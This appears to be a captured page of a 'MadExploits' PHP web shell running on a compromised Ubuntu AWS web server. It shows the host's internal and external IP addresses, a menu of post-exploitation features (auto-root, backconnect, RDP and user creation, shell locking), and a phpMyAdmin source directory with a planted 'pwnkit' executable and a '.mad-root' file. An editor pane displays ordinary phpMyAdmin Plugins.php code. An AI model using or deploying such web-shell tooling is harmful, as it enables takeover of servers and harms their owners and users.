Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.119.126.168
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
restaurants /
var /
phpmyadmin /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Advisory
[ DIR ]
drwxr-xr-x
Bookmarks
[ DIR ]
drwxr-xr-x
Charsets
[ DIR ]
drwxr-xr-x
Command
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
ConfigStorage
[ DIR ]
drwxr-xr-x
Container
[ DIR ]
drwxr-xr-x
Controllers
[ DIR ]
drwxr-xr-x
Crypto
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Dbal
[ DIR ]
drwxr-xr-x
Display
[ DIR ]
drwxr-xr-x
Engines
[ DIR ]
drwxr-xr-x
Error
[ DIR ]
drwxr-xr-x
Exceptions
[ DIR ]
drwxr-xr-x
Export
[ DIR ]
drwxr-xr-x
Favorites
[ DIR ]
drwxr-xr-x
Gis
[ DIR ]
drwxr-xr-x
Html
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Identifiers
[ DIR ]
drwxr-xr-x
Image
[ DIR ]
drwxr-xr-x
Import
[ DIR ]
drwxr-xr-x
Navigation
[ DIR ]
drwxr-xr-x
Partitioning
[ DIR ]
drwxr-xr-x
Plugins
[ DIR ]
drwxr-xr-x
Properties
[ DIR ]
drwxr-xr-x
Providers
[ DIR ]
drwxr-xr-x
Query
[ DIR ]
drwxr-xr-x
Replication
[ DIR ]
drwxr-xr-x
Routing
[ DIR ]
drwxr-xr-x
Server
[ DIR ]
drwxr-xr-x
Setup
[ DIR ]
drwxr-xr-x
Table
[ DIR ]
drwxr-xr-x
Theme
[ DIR ]
drwxr-xr-x
Tracking
[ DIR ]
drwxr-xr-x
Triggers
[ DIR ]
drwxr-xr-x
Twig
[ DIR ]
drwxr-xr-x
Utils
[ DIR ]
drwxr-xr-x
WebAuthn
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
Application.php
6.31
KB
-rw-r--r--
BrowseForeigners.php
10.24
KB
-rw-r--r--
Cache.php
1.44
KB
-rw-r--r--
Charsets.php
7.08
KB
-rw-r--r--
Column.php
363
B
-rw-r--r--
ColumnFull.php
500
B
-rw-r--r--
Config.php
38.1
KB
-rw-r--r--
Console.php
3.14
KB
-rw-r--r--
Core.php
22.22
KB
-rw-r--r--
CreateAddField.php
14.6
KB
-rw-r--r--
Current.php
228
B
-rw-r--r--
DatabaseInterface.php
66.01
KB
-rw-r--r--
DbTableExists.php
1.4
KB
-rw-r--r--
EditField.php
495
B
-rw-r--r--
Encoding.php
7.97
KB
-rw-r--r--
FieldMetadata.php
10.64
KB
-rw-r--r--
File.php
19.72
KB
-rw-r--r--
FileListing.php
3.04
KB
-rw-r--r--
FlashMessages.php
1.23
KB
-rw-r--r--
Font.php
4.26
KB
-rw-r--r--
Footer.php
6.82
KB
-rw-r--r--
Git.php
18.5
KB
-rw-r--r--
Header.php
19.81
KB
-rw-r--r--
Index.php
14.45
KB
-rw-r--r--
IndexColumn.php
4.7
KB
-rw-r--r--
InsertEdit.php
73.25
KB
-rw-r--r--
InsertEditColumn.php
1.96
KB
-rw-r--r--
InternalRelations.php
17
KB
-rw-r--r--
IpAllowDeny.php
9
KB
-rw-r--r--
Language.php
4.12
KB
-rw-r--r--
LanguageManager.php
22.27
KB
-rw-r--r--
Linter.php
4.89
KB
-rw-r--r--
ListDatabase.php
4.93
KB
-rw-r--r--
Logging.php
2.79
KB
-rw-r--r--
Menu.php
19.9
KB
-rw-r--r--
Message.php
14.58
KB
-rw-r--r--
Mime.php
893
B
-rw-r--r--
Normalization.php
39.54
KB
-rw-r--r--
OpenDocument.php
8.78
KB
-rw-r--r--
Operations.php
34.63
KB
-rw-r--r--
ParseAnalyze.php
2.23
KB
-rw-r--r--
Pdf.php
3.89
KB
-rw-r--r--
Plugins.php
22.28
KB
-rw-r--r--
Profiling.php
2.17
KB
-rw-r--r--
Release.php
298
B
-rw-r--r--
ResponseRenderer.php
13.03
KB
-rw-r--r--
Sanitize.php
8.62
KB
-rw-r--r--
Scripts.php
3.7
KB
-rw-r--r--
Session.php
7.88
KB
-rw-r--r--
ShowGrants.php
2.06
KB
-rw-r--r--
Sql.php
60.06
KB
-rw-r--r--
SqlQueryForm.php
6.93
KB
-rw-r--r--
StorageEngine.php
15.08
KB
-rw-r--r--
SystemColumn.php
267
B
-rw-r--r--
SystemDatabase.php
4.62
KB
-rw-r--r--
Template.php
3.98
KB
-rw-r--r--
Transformations.php
17.2
KB
-rw-r--r--
TwoFactor.php
7.61
KB
-rw-r--r--
Types.php
23.88
KB
-rw-r--r--
UniqueCondition.php
8.26
KB
-rw-r--r--
Url.php
10.54
KB
-rw-r--r--
UrlRedirector.php
1.43
KB
-rw-r--r--
UserPassword.php
8.25
KB
-rw-r--r--
UserPreferences.php
10.22
KB
-rw-r--r--
UserPrivileges.php
520
B
-rw-r--r--
UserPrivilegesFactory.php
8.61
KB
-rw-r--r--
Util.php
68.74
KB
-rw-r--r--
Version.php
554
B
-rw-r--r--
VersionInformation.php
7.18
KB
-rw-r--r--
ZipExtension.php
10.01
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Plugins.php
<?php declare(strict_types=1); namespace PhpMyAdmin; use FilesystemIterator; use PhpMyAdmin\Container\ContainerBuilder; use PhpMyAdmin\Html\MySQLDocumentation; use PhpMyAdmin\Import\ImportSettings; use PhpMyAdmin\Plugins\ExportPlugin; use PhpMyAdmin\Plugins\ImportPlugin; use PhpMyAdmin\Plugins\Plugin; use PhpMyAdmin\Plugins\SchemaPlugin; use PhpMyAdmin\Properties\Options\Groups\OptionsPropertySubgroup; use PhpMyAdmin\Properties\Options\Items\BoolPropertyItem; use PhpMyAdmin\Properties\Options\Items\DocPropertyItem; use PhpMyAdmin\Properties\Options\Items\HiddenPropertyItem; use PhpMyAdmin\Properties\Options\Items\MessageOnlyPropertyItem; use PhpMyAdmin\Properties\Options\Items\NumberPropertyItem; use PhpMyAdmin\Properties\Options\Items\RadioPropertyItem; use PhpMyAdmin\Properties\Options\Items\SelectPropertyItem; use PhpMyAdmin\Properties\Options\Items\TextPropertyItem; use PhpMyAdmin\Properties\Options\OptionsPropertyGroup; use PhpMyAdmin\Properties\Options\OptionsPropertyItem; use SplFileInfo; use Throwable; use function __; use function class_exists; use function count; use function htmlspecialchars; use function is_array; use function is_subclass_of; use function mb_strtolower; use function mb_strtoupper; use function mb_substr; use function method_exists; use function preg_match_all; use function sprintf; use function str_contains; use function str_replace; use function str_starts_with; use function strcasecmp; use function usort; class Plugins { /** * Instantiates the specified plugin type for a certain format * * @param string $type the type of the plugin (import, export, etc) * @param string $format the format of the plugin (sql, xml, et ) * @param array|string|null $param parameter to plugin by which they can decide whether they can work * @psalm-param array{export_type: string, single_table: bool}|string|null $param * * @return object|null new plugin instance */ public static function getPlugin(string $type, string $format, array|string|null $param = null): object|null { $GLOBALS['plugin_param'] = $param; $pluginType = mb_strtoupper($type[0]) . mb_strtolower(mb_substr($type, 1)); $pluginFormat = mb_strtoupper($format[0]) . mb_strtolower(mb_substr($format, 1)); $class = sprintf('PhpMyAdmin\\Plugins\\%s\\%s%s', $pluginType, $pluginType, $pluginFormat); if (! class_exists($class)) { return null; } if ($type === 'export') { $container = ContainerBuilder::getContainer(); /** @psalm-suppress MixedMethodCall */ return new $class( $container->get('relation'), $container->get('export'), $container->get('transformations'), ); } return new $class(); } /** * @param string $type server|database|table|raw * @psalm-param 'server'|'database'|'table'|'raw' $type * * @return ExportPlugin[] * @psalm-return list<ExportPlugin> */ public static function getExport(string $type, bool $singleTable): array { $GLOBALS['plugin_param'] = ['export_type' => $type, 'single_table' => $singleTable]; return self::getPlugins('Export'); } /** * @return ImportPlugin[] * @psalm-return list<ImportPlugin> */ public static function getImport(): array { return self::getPlugins('Import'); } /** * @return SchemaPlugin[] * @psalm-return list<SchemaPlugin> */ public static function getSchema(): array { return self::getPlugins('Schema'); } /** * Reads all plugin information * * @param string $type the type of the plugin (import, export, etc) * @psalm-param 'Export'|'Import'|'Schema' $type * * @return Plugin[] list of plugin instances * @psalm-return ( * $type is 'Export' * ? list<ExportPlugin> * : ($type is 'Import' ? list<ImportPlugin> : list<SchemaPlugin>) * ) */ private static function getPlugins(string $type): array { try { $files = new FilesystemIterator(ROOT_PATH . 'src/Plugins/' . $type); } catch (Throwable) { return []; } $plugins = []; /** @var SplFileInfo $fileInfo */ foreach ($files as $fileInfo) { if (! $fileInfo->isReadable() || ! $fileInfo->isFile() || $fileInfo->getExtension() !== 'php') { continue; } if (! str_starts_with($fileInfo->getFilename(), $type)) { continue; } $class = sprintf('PhpMyAdmin\\Plugins\\%s\\%s', $type, $fileInfo->getBasename('.php')); if (! class_exists($class) || ! is_subclass_of($class, Plugin::class) || ! $class::isAvailable()) { continue; } if ($type === 'Export' && is_subclass_of($class, ExportPlugin::class)) { $container = ContainerBuilder::getContainer(); $plugins[] = new $class( $container->get('relation'), $container->get('export'), $container->get('transformations'), ); } elseif ($type === 'Import' && is_subclass_of($class, ImportPlugin::class)) { $plugins[] = new $class(); } elseif ($type === 'Schema' && is_subclass_of($class, SchemaPlugin::class)) { $plugins[] = new $class(); } } usort($plugins, static fn (Plugin $plugin1, Plugin $plugin2): int => strcasecmp( $plugin1->getProperties()->getText(), $plugin2->getProperties()->getText(), )); return $plugins; } /** * Returns locale string for $name or $name if no locale is found * * @param string|null $name for local string * * @return string locale string for $name */ public static function getString(string|null $name): string { return $GLOBALS[$name] ?? $name ?? ''; } /** * Returns html input tag option 'checked' if plugin $opt * should be set by config or request * * @param string $section name of config section in * \PhpMyAdmin\Config::getInstance()->settings[$section] for plugin * @param string $opt name of option * @psalm-param 'Export'|'Import'|'Schema' $section * * @return string html input tag option 'checked' */ public static function checkboxCheck(string $section, string $opt): string { // If the form is being repopulated using $_GET data, that is priority if ( isset($_GET[$opt]) || ! isset($_GET['repopulate']) && ((ImportSettings::$timeoutPassed && isset($_REQUEST[$opt])) || ! empty(Config::getInstance()->settings[$section][$opt])) ) { return ' checked="checked"'; } return ''; } /** * Returns default value for option $opt * * @param string $section name of config section in * \PhpMyAdmin\Config::getInstance()->settings[$section] for plugin * @param string $opt name of option * @psalm-param 'Export'|'Import'|'Schema' $section * * @return string default value for option $opt */ public static function getDefault(string $section, string $opt): string { if (isset($_GET[$opt])) { // If the form is being repopulated using $_GET data, that is priority return htmlspecialchars($_GET[$opt]); } if (isset($_REQUEST[$opt]) && ImportSettings::$timeoutPassed) { return htmlspecialchars($_REQUEST[$opt]); } $config = Config::getInstance(); if (! isset($config->settings[$section][$opt])) { return ''; } $matches = []; /* Possibly replace localised texts */ if (! preg_match_all('/(str[A-Z][A-Za-z0-9]*)/', (string) $config->settings[$section][$opt], $matches)) { return htmlspecialchars((string) $config->settings[$section][$opt]); } $val = $config->settings[$section][$opt]; foreach ($matches[0] as $match) { if (! isset($GLOBALS[$match])) { continue; } $val = str_replace($match, $GLOBALS[$match], $val); } return htmlspecialchars($val); } /** * @param ExportPlugin[]|ImportPlugin[]|SchemaPlugin[] $list * * @return array<int, array<string, bool|string>> * @psalm-return list<array{name: non-empty-lowercase-string, text: string, is_selected: bool, is_binary: bool}> */ public static function getChoice(array $list, string $default): array { $return = []; foreach ($list as $plugin) { $pluginName = $plugin->getName(); $properties = $plugin->getProperties(); $return[] = [ 'name' => $pluginName, 'text' => self::getString($properties->getText()), 'is_selected' => $pluginName === $default, 'is_binary' => $properties->getForceFile(), ]; } return $return; } /** * Returns single option in a list element * * @param string $section name of config section in $cfg[$section] for plugin * @param string $pluginName unique plugin name * @param OptionsPropertyItem $propertyGroup options property main group instance * @param bool $isSubgroup if this group is a subgroup * @psalm-param 'Export'|'Import'|'Schema' $section * * @return string table row with option */ private static function getOneOption( string $section, string $pluginName, OptionsPropertyItem $propertyGroup, bool $isSubgroup = false, ): string { $ret = "\n"; $properties = null; if (! $isSubgroup) { // for subgroup headers if (str_contains($propertyGroup::class, 'PropertyItem')) { $properties = [$propertyGroup]; } else { // for main groups $ret .= '<div id="' . $pluginName . '_' . $propertyGroup->getName() . '">'; $text = null; if (method_exists($propertyGroup, 'getText')) { $text = $propertyGroup->getText(); } if ($text != null) { $ret .= '<h5 class="card-title mt-4 mb-2">' . self::getString($text) . '</h5>'; } $ret .= '<ul class="list-group">'; } } $notSubgroupHeader = false; if ($properties === null) { $notSubgroupHeader = true; if ($propertyGroup instanceof OptionsPropertyGroup) { $properties = $propertyGroup->getProperties(); } } $propertyClass = null; if ($properties !== null) { /** @var OptionsPropertySubgroup $propertyItem */ foreach ($properties as $propertyItem) { $propertyClass = $propertyItem::class; // if the property is a subgroup, we deal with it recursively if (str_contains($propertyClass, 'Subgroup')) { // for subgroups // each subgroup can have a header, which may also be a form element /** @var OptionsPropertyItem|null $subgroupHeader */ $subgroupHeader = $propertyItem->getSubgroupHeader(); if ($subgroupHeader !== null) { $ret .= self::getOneOption($section, $pluginName, $subgroupHeader); } $ret .= '<li class="list-group-item"><ul class="list-group"'; if ($subgroupHeader !== null) { $ret .= ' id="ul_' . $subgroupHeader->getName() . '">'; } else { $ret .= '>'; } $ret .= self::getOneOption($section, $pluginName, $propertyItem, true); continue; } // single property item $ret .= self::getHtmlForProperty($section, $pluginName, $propertyItem); } } if ($isSubgroup) { // end subgroup $ret .= '</ul></li>'; } elseif ($notSubgroupHeader) { // end main group $ret .= '</ul></div>'; } if (method_exists($propertyGroup, 'getDoc')) { $doc = $propertyGroup->getDoc(); if (is_array($doc)) { if (count($doc) === 3) { $ret .= MySQLDocumentation::show($doc[1], false, null, null, $doc[2]); } elseif (count($doc) === 1) { $ret .= MySQLDocumentation::showDocumentation('faq', $doc[0]); } else { $ret .= MySQLDocumentation::show($doc[1]); } } } // Close the list element after $doc link is displayed if ( $propertyClass === BoolPropertyItem::class || $propertyClass === MessageOnlyPropertyItem::class || $propertyClass === SelectPropertyItem::class || $propertyClass === TextPropertyItem::class ) { $ret .= '</li>'; } return $ret . "\n"; } /** * Get HTML for properties items * * @param string $section name of config section in $cfg[$section] for plugin * @param string $pluginName unique plugin name * @param OptionsPropertyItem $propertyItem Property item * @psalm-param 'Export'|'Import'|'Schema' $section */ public static function getHtmlForProperty( string $section, string $pluginName, OptionsPropertyItem $propertyItem, ): string { $ret = ''; $propertyClass = $propertyItem::class; switch ($propertyClass) { case BoolPropertyItem::class: $ret .= '<li class="list-group-item">' . "\n"; $ret .= '<div class="form-check form-switch">' . "\n"; $ret .= '<input class="form-check-input" type="checkbox" role="switch" name="' . $pluginName . '_' . $propertyItem->getName() . '"' . ' value="something" id="checkbox_' . $pluginName . '_' . $propertyItem->getName() . '"' . ' ' . self::checkboxCheck( $section, $pluginName . '_' . $propertyItem->getName(), ); if ($propertyItem->getForce() != null) { // Same code is also few lines lower, update both if needed $ret .= ' onclick="if (!this.checked && ' . '(!document.getElementById(\'checkbox_' . $pluginName . '_' . $propertyItem->getForce() . '\') ' . '|| !document.getElementById(\'checkbox_' . $pluginName . '_' . $propertyItem->getForce() . '\').checked)) ' . 'return false; else return true;"'; } $ret .= '>'; $ret .= '<label class="form-check-label" for="checkbox_' . $pluginName . '_' . $propertyItem->getName() . '">' . self::getString($propertyItem->getText()) . '</label></div>'; break; case DocPropertyItem::class: echo DocPropertyItem::class; break; case HiddenPropertyItem::class: $ret .= '<li class="list-group-item"><input type="hidden" name="' . $pluginName . '_' . $propertyItem->getName() . '"' . ' value="' . self::getDefault( $section, $pluginName . '_' . $propertyItem->getName(), ) . '"></li>'; break; case MessageOnlyPropertyItem::class: $ret .= '<li class="list-group-item">' . "\n"; $ret .= self::getString($propertyItem->getText()); break; case RadioPropertyItem::class: /** @var RadioPropertyItem $pitem */ $pitem = $propertyItem; $default = self::getDefault( $section, $pluginName . '_' . $pitem->getName(), ); $ret .= '<li class="list-group-item">'; foreach ($pitem->getValues() as $key => $val) { $ret .= '<div class="form-check"><input type="radio" name="' . $pluginName . '_' . $pitem->getName() . '" class="form-check-input" value="' . $key . '" id="radio_' . $pluginName . '_' . $pitem->getName() . '_' . $key . '"'; if ($key == $default) { $ret .= ' checked'; } $ret .= '><label class="form-check-label" for="radio_' . $pluginName . '_' . $pitem->getName() . '_' . $key . '">' . self::getString($val) . '</label></div>'; } $ret .= '</li>'; break; case SelectPropertyItem::class: /** @var SelectPropertyItem $pitem */ $pitem = $propertyItem; $ret .= '<li class="list-group-item">' . "\n"; $ret .= '<label for="select_' . $pluginName . '_' . $pitem->getName() . '" class="form-label">' . self::getString($pitem->getText()) . '</label>'; $ret .= '<select class="form-select" name="' . $pluginName . '_' . $pitem->getName() . '"' . ' id="select_' . $pluginName . '_' . $pitem->getName() . '">'; $default = self::getDefault( $section, $pluginName . '_' . $pitem->getName(), ); foreach ($pitem->getValues() as $key => $val) { $ret .= '<option value="' . $key . '"'; if ($key == $default) { $ret .= ' selected'; } $ret .= '>' . self::getString($val) . '</option>'; } $ret .= '</select>'; break; case TextPropertyItem::class: /** @var TextPropertyItem $pitem */ $pitem = $propertyItem; $ret .= '<li class="list-group-item">' . "\n"; $ret .= '<label for="text_' . $pluginName . '_' . $pitem->getName() . '" class="form-label">' . self::getString($pitem->getText()) . '</label>'; $ret .= '<input class="form-control" type="text" name="' . $pluginName . '_' . $pitem->getName() . '"' . ' value="' . self::getDefault( $section, $pluginName . '_' . $pitem->getName(), ) . '"' . ' id="text_' . $pluginName . '_' . $pitem->getName() . '"' . ($pitem->getSize() !== 0 ? ' size="' . $pitem->getSize() . '"' : '') . ($pitem->getLen() !== 0 ? ' maxlength="' . $pitem->getLen() . '"' : '') . '>'; break; case NumberPropertyItem::class: $ret .= '<li class="list-group-item">' . "\n"; $ret .= '<label for="number_' . $pluginName . '_' . $propertyItem->getName() . '" class="form-label">' . self::getString($propertyItem->getText()) . '</label>'; $ret .= '<input class="form-control" type="number" name="' . $pluginName . '_' . $propertyItem->getName() . '"' . ' value="' . self::getDefault( $section, $pluginName . '_' . $propertyItem->getName(), ) . '"' . ' id="number_' . $pluginName . '_' . $propertyItem->getName() . '"' . ' min="0"' . '>'; break; default: break; } return $ret; } /** * Returns html div with editable options for plugin * * @param string $section name of config section in $cfg[$section] * @param ExportPlugin[]|ImportPlugin[]|SchemaPlugin[] $list array with plugin instances * @psalm-param 'Export'|'Import'|'Schema' $section * * @return string html fieldset with plugin options */ public static function getOptions(string $section, array $list): string { $ret = ''; // Options for plugins that support them foreach ($list as $plugin) { $properties = $plugin->getProperties(); $text = $properties->getText(); $options = $properties->getOptions(); $pluginName = $plugin->getName(); $ret .= '<div id="' . $pluginName . '_options" class="format_specific_options">'; $ret .= '<h3>' . self::getString($text) . '</h3>'; $noOptions = true; if ($options !== null && count($options) > 0) { foreach ($options->getProperties() as $propertyMainGroup) { // check for hidden properties $noOptions = true; foreach ($propertyMainGroup->getProperties() as $propertyItem) { if (! $propertyItem instanceof HiddenPropertyItem) { $noOptions = false; break; } } $ret .= self::getOneOption($section, $pluginName, $propertyMainGroup); } } if ($noOptions) { $ret .= '<p class="card-text">' . __('This format has no options') . '</p>'; } $ret .= '</div>'; } return $ret; } }
Close